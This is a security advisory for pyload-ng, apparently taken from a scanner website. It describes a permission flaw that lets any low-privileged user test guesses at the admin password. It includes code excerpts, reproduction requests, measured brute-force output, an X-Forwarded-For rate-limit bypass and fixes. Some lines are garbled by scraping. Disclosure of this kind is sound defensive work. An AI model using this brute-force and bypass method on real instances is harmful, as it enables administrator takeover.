| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| pyload-ng | ≥ 0.5.0b3.dev1, ≤ 0.5.0b3.dev101 |
Api.getUserData (legacy) and Api.get_userdata are declared with @permission(Perms.ANY) and are reachable at /api/getUserData and /api/get_userdata. Because Perms.ANY == 0 and pyLoad's permission check is a bitmask AND, that gate is a no-op: every authenticated account passes, including one holding zero permission bits.
Both methods are thin wrappers around check_auth(), which the maintainers deliberately restricted to administrators by omitting @permission (no entry in perm_map, so is_authorized() returns False for non-admins). The wrappers undo that protection.
An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the administrator password, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating X-Forwarded-For.
src/pyload/core/api/__init__.py:1446 and :1464
#: Old API
@permission(Perms.ANY)
@get
def getUserData(self, username: str, password: str) -> OldUserData:
"""
similar to `check_auth` but returns UserData type.
"""
user = self.check_auth(username, password)
...
@permission(Perms.ANY)
@get
def get_userdata(self, username: str, password: str) -> UserData:
user = self.check_auth(username, password)
...
src/pyload/core/api/__init__.py:57
class Perms(IntFlag):
ANY = 0 #: requires no permission, but login
src/pyload/core/api/__init__.py:108
def has_permission(user_perms: Perms, required_perms: Perms):
return required_perms == (user_perms & required_perms)
For required_perms == 0 this evaluates to 0 == (user_perms & 0) → 0 == 0 → always True. The @permission(Perms.ANY) gate therefore admits every authenticated principal regardless of which permission bits they hold.
Contrast with the intended admin-only primitive, src/pyload/core/api/__init__.py:1396:
@legacy("checkAuth")
@get
def check_auth(self, username: str, password: str) -> dict[str, Any]:
check_auth has ; at returns for non-admins. The two wrappers carry and restore access for everyone.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí@permissionis_authorized()api/__init__.py:1430FalsePerms.ANYBecause both wrappers also carry @get, they are placed in method_map and are directly routable via /api/<func>.
1. No lockout. There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.
2. Rate limiting is bypassable. /api/* applies rate_limit(count=100, period=60) (src/pyload/webui/app/blueprints/api_blueprint.py:25), which buckets on a fully client-controlled header (src/pyload/webui/app/helpers.py:446):
client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() \
or flask.request.remote_addr
Rotating X-Forwarded-For per request yields a fresh bucket each time. Notably, is_loopback_request() in the same file (helpers.py:288-294) explicitly treats the presence of X-Forwarded-For / X-Real-IP / Forwarded as untrustworthy — the same guard was evidently not applied inside rate_limit().
Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's id, name, email, role, and permission bits.
Verified against 0.5.0b3, commit a5b008958.
Setup: stock instance with admin pyload, plus a non-admin user bob created with role=USER and permission=0.
Step 1 — establish that bob is genuinely unprivileged:
GET /api/checkAuth?username=pyload&password=pyload -> 401 {"error": "Access denied"}
GET /api/getAllUserData -> 401 {"error": "Access denied"}
Step 2 — the flaw. Same user, same session, Perms.ANY gate:
GET /api/getUserData?username=pyload&password=WRONG
-> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null}
GET /api/getUserData?username=pyload&password=pyload
-> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"}
role: 0 is Role.ADMIN. get_userdata behaves identically. This is a perfect yes/no oracle.
Step 3 — measured brute force and recovery. Run as bob (permission = 0), admin password set to a 2-character value, X-Forwarded-For rotated on every request:
attempts : 667
elapsed : 39.7s (16.8 guesses/sec)
429 rate-limits : 0
account lockout : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq' (true value 'zq') match=True
Step 4 — full takeover with the recovered secret:
POST /login as pyload/<recovered> -> HTTP 302 (authenticated as admin)
GET /api/getAllUserData (admin-only) -> HTTP 200 (full user dump)
Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in src/pyload/core/database/user_database.py:14, not any rate limit.
@permission(Perms.ANY) from getUserData and get_userdata, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-only check_auth.Perms.ANY = 0 makes has_permission() vacuous, so any method decorated @permission(Perms.ANY) silently becomes public to every logged-in user. Give ANY a real bit value, or handle it explicitly in has_permission() as "requires an authenticated session".X-Forwarded-For unless a trusted-proxy deployment is explicitly configured. Otherwise bucket rate_limit() on request.remote_addr, or add the same guard is_loopback_request() already uses.hmac.compare_digest() in _check_password() (src/pyload/core/database/user_database.py:61 uses a plain == on the derived hash, contradicting the "always use compare_digest" guidance two files away).There is no 0.5.0b3 release on PyPI. The develop branch auto-publishes dev builds (setup.py:86 appends .dev<build> to the VERSION file); the newest at time of testing was 0.5.0b3.dev101. The Perms.ANY = 0 design is long-standing, but only the 0.5.0b3.dev* line was verified here — please confirm whether 0.5.0b2.* and 0.4.x are affected before finalizing the version range.